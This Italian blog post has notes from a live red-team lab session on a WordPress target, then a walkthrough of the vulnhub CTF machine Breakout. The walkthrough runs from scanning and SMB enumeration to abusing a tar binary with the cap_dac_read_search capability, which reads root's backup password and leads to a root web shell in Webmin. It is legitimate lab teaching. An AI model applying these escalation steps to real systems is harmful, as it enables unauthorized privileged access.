Tra le prime azioni intraprese abbiamo ovviamente eseguito una scansione del sistema target. Essendo una macchina di recente installazione che è solitamente off-line (il lab viene disattivato quando non siamo live) non vi è possibilità di utilizzare tecniche passive come l’analisi di precedenti versioni dell’applicazione (Wayback Machine) o i rilevamenti di scansioni terze (Shodan).
Con il più classico degli nmap abbiamo ottenuto l’elenco dei servizi:
porta tcp\22 (ssh)
porta tcp\80 (apache2)
porta tcp\3306v (mysql)
L’accesso al DB è stato subito dall’esterno è stato quasi subito inibito da Andrea, in effetti non aveva senso e come prima azione ci era venuto in mente di tentare un brute force attack.
L’applicazione web espone un sito in WordPress che abbiamo subito preso in esame. Come discusso il live la prima cosa che verrebbe in mente a chiunque è di utilizzare dirb per dare un occhio ai path esposti e wpscan per verificare lo stato dell’applicazione, cosa assolutamente sensata e lo faremo anche noi. Prima ho voluto lasciare spazio a qualche tools/servizio terze parti per vedere che tipo di info avrebbero portato all’attenzione. Ve ne cito alcuni tra quelli provati, dateci un occhio anche voi:
Qualche elemento interessante da queste scansioni è emerso ma nulla di particolare, qualche risultato lo abbiamo commentato assieme in live. La scansione tramite wpscan da invece dei risultati molto chiari:
vengono enumerati due utenti (admin e events)
vengono rilevate tre plugin segnalate come out of date
Da una ricerca su wpscan.com emergono le potenziali vulnerabilità per:
wp-advanced-search v3.3.3
social-warfare <= 3.5.2
wp-file-upload
Nel rilevare le informazioni base che ci consentiranno di definire un modello di attacco abbiamo discusso delle evidenze che le nostre azioni hanno generato, in particolare i log che Andrea riusciva chiaramente a ricondurre alle nostre azioni.
ToDo per la prossima sessione
E’ evidente che siamo stati troppo rumorosi e il parte questo era lo scopo della sessione. In un contesto di Penetration Testing potrebbe anche non essere un problema ma in ambito Red Team lo è. Quindi per la prossima sessione sicuramente dobbiamo dotarci di uno strumento per generare traffico realistico sul sistema.
Una volta che abbiamo la possibilità di confonderci nella mischia inizieremo a verificare la possibilità di utilizzare le vulnerabilità plausibili per costruire una tattica di attacco.
Qualche settimana fa rispetto a questo post Paolo Perego ha annunciato e pubblicato un video sull’analisi e l’exploiting di una macchina vulnhub: Breakout. In quel momento stavo valutando che contenuti presentare live su Twitch per il mese di agosto avendo previsto una minor partecipazione e volendo dedicare del tempo ad affinare un po’ le tecniche di red teaming. Ho quindi pensato di non guardare subito il video e di proporre live una sessione in cui eseguire lo stesso esercizio e, in un secondo momento, organizzare un confronto con Paolo per discutere i differenti approcci che possono essere utilizzati.
La scorsa settimana ho quindi tenuto la live in cui abbiamo, assieme ai presenti, giocato con la macchina fino a guadagnarci una shell come root. Da qui sono nate un po’ di riflessioni su come un attacker potrebbe agire in un contesto simile anche se, come discusso, per certi versi non proprio così realistico. Oltre al tema dell’accesso al sistema ci sono almeno altri due argomenti da approfondire: il post-exploiting e l’accesso permanente tramite un Command and Control (C2). Andiamo con ordine.
Scenario
La macchina è disponibile in formato OVA sul sito di vulnhub a questo link, è possibile quindi scaricare ed importare rapidamente il sistema sia su VMware Workstation/ESXi che su VirtualBox. La configurazione di default del sistema presenta una NIC configurata in DHCP, una volta accesa la macchina e collegata la NIC il sistema chiederà al DHCP server della rete in cui lo avrete posizionato un indirizzo IP usabile.
breakout console
Nel laboratorio presentato durante la live abbiamo fatto tutto praticamente solo con due VMs: la macchina Kali utilizzata come base di partenza delle azioni offensive e la macchina Breakout. Il laboratorio che utilizzeremo in questa sessione è lievemente più esteso per avvicinarci ad un contesto reale ed è composto da:
il mio laptop con la wls Kali dietro NAT
un server/host per ospitare le guest:
una VM ubuntu che utilizzeremo come macchina d’appoggio
la VM target
Fatta eccezione per la Kali tutte le altre VM connesse alla rete LAN del laboratorio e sono quindi nello stesso dominio di broadcast.
conf. di rete della macchina Kali
Ovviamente non ci sono particolari vincoli nella configurazione del laboratorio, accertatevi sono di avere almeno un sistema di grado di dialogare in modo bidirezionale con la macchina target in modo da lasciarci aperte più opzioni di comunicazione.
Rilevamento della macchina target e delle applicazioni
In questo caso è un’operazione superflua in quando siamo perfettamente a conoscenza dell’indirizzo IP della macchina target. In un contesto reale saremmo partiti da una serie di rilevamenti utilizzando tecniche di scansione passiva e attiva. Facendo un semplice scansione con nmap possiamo renderci conto di cosa c’è in rete, solitamente io inizio con qualcosa di molto leggero usando la funzione TCP Connect Scan o anche semplicemente con un hping:
Una volta individuata la macchina target ha sicuramente senso intensificare la scansione per raccogliere qualche info aggiuntiva sul sistema, in particolare ci interessa capire tutto ciò che espone a livello di servizi e, se possibile, qualche dato sulle applicazioni che stanno dietro. Continuiamo con nmap ma andiamo a verificare tutte le porte ed utilizziamo anche tutti gli script disponibili di default:
Per comodità l’output lo salviamo su in file in modo da annotare quanto rilevato e consultarlo in caso di necessità senza eseguire nuove scansioni.
output della scansione
Abbiamo un bel po’ di dati, andiamo con ordine e vediamo cosa ci racconta di se il nostro target.
Porta 80/tcp aperta
La porta 80 è tra le più famose e ci fa pensare che il sistema abbia un web server attivo che nmap rileva come Apache versione 2.4.51. Viene anche individuato il sistema operativo Debian. Se è veramente disponibile un web server possiamo verificarlo facilmente semplicemente aprendo il browser e puntando all’IP della macchina target:
La default page di Apache2 è sufficientemente eloquente.
Porte 139\tcp e 445\tcp
Viene identificato un servizio Samba versione 4.6.2 che ci potrebbe aiutare ad approfondire qualche dato utilizzando specifici tools di enumerazione e verifica delle configurazioni “disponibili”.
Porte 10000\tcp e 20000\tcp
Viene rilevata l’applicazione “Webmin” in due differenti versioni: sulla porta 10000 è attiva la versione 1.981, sulla porta 20000 è attiva la versione 1.830. Durante la live mi sono documentato sull’applicazione che non avevo mai incontrato, si tratta di un tool per gestire server e applicazioni di uso comune come sistemi di pubblicazione contenuti, database, job.
Le due porte tcp sono di fatto utilizzate per esporre le interfacce web dell’applicazione Webmin e possiamo dare una sbirciata a ciò che si vede semplicemente accedendo con il nostro browser in https e specificando la porta da utilizzare:
Interfaccia di accesso amministrativo per webmin
Mentre la porta 10000 presenta la schermata di login per l’area amministrativa, sulla porta 20000 si potrà notare un’interfaccia leggermente diversa che fa riferimento a Usermin. Si tratta di fatto di due diverse applicazioni con scopi differenti ma soprattutto i relativi utenti hanno privilegi di accesso al sistema molto differenti: la parte amministrativa potrebbe infatti accedere con privilegi di root.
Analisi dei contenuti web
Durante la mia live a questo punto sono passato ad analizzare ciò che era visibile, ovvero le pagine web e le relative componenti, cercando documentazione specifica sull’applicazione che evidentemente viene pubblicata dal sistema. Paolo nella sua analisi ha eseguito anche un altro controllo che sul momento a me non era venuto in mente: con GoBuster ha dato un’occhiata alle directory pubblicate.
Per usare tools come GoBuster è indispensabile disporre di qualche wordlist e se usate kali troverete un patrimonio di file in /usr/share/wordlist. Anche per questo lab sto utilizzando kali ma è una installazione minima su wls2, devo quindi prima installare il pacchetto:
Abbiamo tutto il necessario per iniziare la scansione. Vi suggerisco, vista la dimensione dell’output, di buttare tutto in un file dedicato. L’operazione potrebbe richiedere qualche minuto e non è detto che si trovino informazioni utili.
E’ interessante osservare l’effetto di un’attività di questo tipo sulla macchina target: nel mio caso ho creato una VM con una vCPU a cui è stato assegnato il 70% di un vCORE della macchina host. Con la scansione attiva la macchina guest si trova ad avere il 100% di CPU usage a testimoniare che alcune azioni possono essere anche molto invasive in termini di system load. Se un attacker utilizzasse una tecnica di questo tipo senza eseguire prima del tuning a livello di richieste per secondo è molto probabile che i sistemi di monitoraggio segnalino anomalie di carico.
htop della macchina host: è ben visibile il processo VirtualBoxVM della macchina target
Nota tecnica sui tools di Directory Discovery: che sia GoBuster, DirBuster, fuff, […] il principio non cambia, usate quello che vi pare.
Oltre alla directory è opportuno verificare il contenuto delle pagine web. In questo caso abbiamo tre contenuti html: la default page di apache e le due login page di Webmin. Su questi specifici contenuti è possibile dare una semplice occhiata al sorgente o, per analisi più approfondite, utilizzare tools come BurpSuite (nella versione pro) per eseguire una scansione dell’applicazione a caccia di specifiche vulnerabilità.
In questo caso siamo in un contesto CTF e non è raro che vengano disseminati piccoli indizi qua e la nei sistemi, una veloce verifica del sorgente HTML porta infatti in evidenza uno di questi indizi: alla default page di apache è stata fatta un’aggiunta.
Si tratta di un commento HTML che riporta un testo cifrato con un metodo noto come Brain F*ck. Google è vostro, non farete nessuna fatica a trovare un tool di decodifica da cui uscirà una stringa che qui in parte nascondo: .2uqPEfj3D<P’*** .
Ha l’aspetto di una password e visto il messaggio nel commento HTML probabilmente lo è ma non abbiamo idea dell’utente associato. Durante la live ho provato ad utilizzare questa potenziale password associata all’utente root e admin su entrambe le interfacce di login ma senza successo.
Analisi dei servizi SMB
La scansione delle porte ha riportato la presenza di un servizio Samba 4.6.2 attivo sul sistema per il quale possiamo fare diverse verifiche a caccia di ulteriori informazioni o anche di livelli di accesso specifici. Per fare enumeration di smb abbiamo moltissimi tools a disposizione, primo tra tutti citerei enum4linux che di fatto ho utilizzato per primo anche in questo caso:
enum4linux con opzione -a
In questo caso la caccia è andata bene, la verifica ha fatto emergere un utente smb: cyber.
Da notare che nell’analisi dei contenuti era saltata fuori quella che sembrava essere una password.
Analisi delle applicazioni
Ci siamo imbattuti in un’applicazione web-based per la gestione del server: Webmin. La scansione ci aveva indicato le versioni delle applicazioni esposte, ha quindi senso verificare se esistono vulnerabilità note ed eventuali exploit. Basta una rapida ricerca su exploit-db.com per accorgersi che di vulnerabilità ne esistono diverse:
Meglio ancora, senza neanche lasciare la nostra cli come fatto durante la live, una query con searchploit ci da subito lo status di cosa è disponibile subito:
Le vulnerabilità non mancano ma le versioni non corrispondono, in questo caso ha poso senso tentare questa strada in quanto la probabilità di successo è praticamente nulla salvo incappare per puro caso in una versione vulnerabile ma non documentata.
Anche in relazione alla versione di Apache è opportuno fare un approfondimento (non fatto durante la live). Nmap ha rilevato la versione 2.4.51 a cui sono associate un paio di CVE:
Su queste CVE non ci sono exploit noti ma esiste documentazione interessante in relazione ad un p-o-c per la vulnerabilità del modulo “mod_lua” che non abbiamo ancora avuto modo di verificare in questa installazione. In questo contesto non procedo oltre ma potrebbe essere interessante approfondire in futuro ovviamente in un contesto dove è presente uno script lua. Metto in ToDo 😉
Accesso all’applicazione
Come emerso dalle nostre ricerche abbiamo un utente ed una credenziale che a questo punto vale la pena provare. L’unico punto di accesso incontrato sono le due applicazioni Webmin e Usermin ed è qui che facciamo il primo tentativo. La login page dell’applicazione Usermin (porta tcp\20000) vi darà accesso al portale; navigando un po’ le funzionalità dell’applicazione ci si imbatte in una web-shell all’interno del menu Login >> Command Shell:
web shell all’interno dell’applicazione
In questa situazione la prima cosa da fare è raccogliere informazioni sul sistema cercando di capire come è configurato e che software è in uso. Partiamo con questa sequenza di comandi:
pwd && ls -l && id && ps ax
Per ottengo questo output:
> pwd && ls -l && id && ps ax
/home/cyber
total 616
-rwxr-xr-x 1 root root 531928 Oct 19 2021 tar
-rw-r--r-- 1 cyber cyber 48 Oct 19 2021 user.txt
uid=1000(cyber) gid=1000(cyber) groups=1000(cyber),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
PID TTY STAT TIME COMMAND
[...]
284 ? Ssl 0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
313 ? Ss 0:00 /usr/sbin/cron -f
314 ? Ss 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
325 ? Ss 0:00 /usr/sbin/nmbd --foreground --no-process-group
329 ? Ssl 0:00 /usr/sbin/rsyslogd -n -iNONE
330 ? Ss 0:00 /lib/systemd/systemd-logind
385 tty1 Ss+ 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
392 ? Ss 0:00 /usr/sbin/apache2 -k start
524 ? Sl 0:00 /usr/sbin/apache2 -k start
525 ? Sl 0:00 /usr/sbin/apache2 -k start
596 ? Ss 0:00 /usr/bin/perl /usr/share/usermin/miniserv.pl /etc/usermin/miniserv.conf
598 ? Ss 0:00 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
668 ? Ssl 0:00 /lib/systemd/systemd-timesyncd
691 ? Ss 0:00 /usr/sbin/smbd --foreground --no-process-group
693 ? S 0:00 /usr/sbin/smbd --foreground --no-process-group
694 ? S 0:00 /usr/sbin/smbd --foreground --no-process-group
696 ? S 0:00 /usr/sbin/smbd --foreground --no-process-group
774 ? I 0:00 [kworker/u2:0-flush-8:0]
793 ? I 0:01 [kworker/0:0-events]
872 ? S 0:00 /usr/share/usermin/shell/index.cgi
875 ? S 0:00 sh -c /bin/su cyber -c cd\ \/home\/cyber\ \&\&\ pwd\ \&\&\ ls\ \-l\ \&\&\ id\ \&\&\ ps\ ax 2>&1
876 ? S 0:00 /bin/su cyber -c cd /home/cyber && pwd && ls -l && id && ps ax
878 ? Ss 0:00 /lib/systemd/systemd --user
879 ? S 0:00 (sd-pam)
897 ? Rs 0:00 ps ax
Siamo della home dell’utente cyber dove troviamo due file: un binario di tar (già questo è curioso) ed il file user.txt.
Altra cosa che mi viene naturale fare è buttare un occhio alla /usr/bin per rendermi conto di che utility possiamo disporre:
Stessa cosa per la /var a caccia di info nei logs e dove si nota una directory backups:
> ls -la /var/backups
total 32
drwxr-xr-x 2 root root 4096 Aug 26 18:33 .
drwxr-xr-x 14 root root 4096 Oct 19 2021 ..
-rw-r--r-- 1 root root 1467 Oct 19 2021 apt.extended_states.1.gz
-rw------- 1 root root 17 Oct 20 2021 .old_pass.bak
Salta abbastanza all’occhio il file .old_pass.bak in un path che spesso cerco volutamente, ovvero tutto ciò che ha a che fare con backup e dump. Il file è accessibile solo per l’utente root.
Teniamo sempre presente che il contesto in cui siamo è quello di una macchina preparata appositamente per essere compromessa, sono quindi presenti delle tracce o degli indizi più o meno visibili. In questo caso quel “tar” nella home dell’utente salta anche fin troppo all’occhio e, considerando le funzionalità del tool, potrebbe tornare utile se volessimo “leggere” in modo alternativo il contenuto di un file.
Esistono diversi modi per accedere ad un file che è accessibile solo all’utente root senza essere root: il più noto è forse l’utility sudo che ci consente di eseguire un comando con i privilegi super user (Super User DO) con il “problema” di concedere forse troppo agli utenti. Un altro metodo, che personalmente utilizzo poco, è quelle di assegnare ad un eseguibile (e quindi al suo processo) delle capacità aggiuntive chiamate appunto capabilities.
Quanto abbiamo a disposizione – la shell dell’utente cyber – ci consente di eseguire questo tipo di verifica:
utilizzo del comando getcap
Con il comando getcap possiamo verificare che capabilities sono state assegnato ad uno specifico file/processo, in questo caso abbiamo come output cap_dac_read_search=ep. Diamo un occhio alla documentazione ufficiale in tema di capabilities:
Molto eloquente direi, l’eseguibile tar è stato dotato della capacità di leggere un file a prescindere dai permessi a questo associati, in parole povere il nostro /home/cyber/tar può leggere qualsiasi file e noi abbiamo un file da leggere che richiede di essere super user. Idee?
Privilege escalation
Il nome del file a cui stiamo puntando è “old_pass.bak”, la nostra speranza è quindi quella di trovare le info per accedere come root al sistema. Visto che il nostro tar può leggere questo file proviamo a creare un archivio:
L’archivio viene comunque creato e l’owner è ovviamente l’utente cyber, possiamo quindi procedere ad una estrazione del contenuto usando anche l’utility tar di sistema visto che la letture del file ormai è avvenuta correttamente e l’archivio è di proprietà del nostro utente:
I più attenti noteranno che viene estratta una directory (var), tutto corretto visto che quando abbiamo creato l’archivio abbiamo puntato ad un path assoluto (/var/backups) e non solo al file di nostro interesse. Dentro la directory troveremo finalmente il nostro file a cui sono ora attribuiti i permessi sufficienti per essere letto anche dall’utente cyber:
Non resta che provare questa potenziale password per l’utente root, la prima verifica è per la web-shell che abbiamo utilizzato sino ad ora:
Passando la password al comando “su” evitiamo che ci venga chiesta a livello prompt, azione necessario visto che tramite la web-shell poi non potremmo inserirla. In live avevamo subito utilizzato una reverse shell quindi fu possibile inserire la password dopo aver dato il comando “su”.
Abbiamo però appurato che la password è corretta avendo come output del comando “id” la stringa “uid=0(root)”. Possiamo quindi sicuramente dare comandi come root da questa web-shell ma ancora meglio potremmo utilizzare questa credenziale per accedere alla parte amministrativa dell’applicazione disponibile sulla porta tcp\10000.
Welcome to Webmin 🙂
Anche in questa sezione dell’applicazione abbiamo un comoda web-shell che questa volta accede al sistema come root:
root web-shell
A questo punto la macchina è nostra.
Prossimi step
Come da premesse in questo post volevo illustrare gli step e le analisi che ci hanno condotto ad ottenere un accesso root al sistema. Possiamo andare ben oltre e iniziare a lavorare sulla macchina per comprendere il contesto in cui si trova, le configurazione base e come potrebbe essere governata da remoto.
Ovviamente alcuni di questi ragionamenti li farò assieme ai presenti alle prossime live (questa sera, 16 settembre, affrontiamo parte dell’argomento) e seguiranno gli articoli di resoconto.
Rocco Sicilia 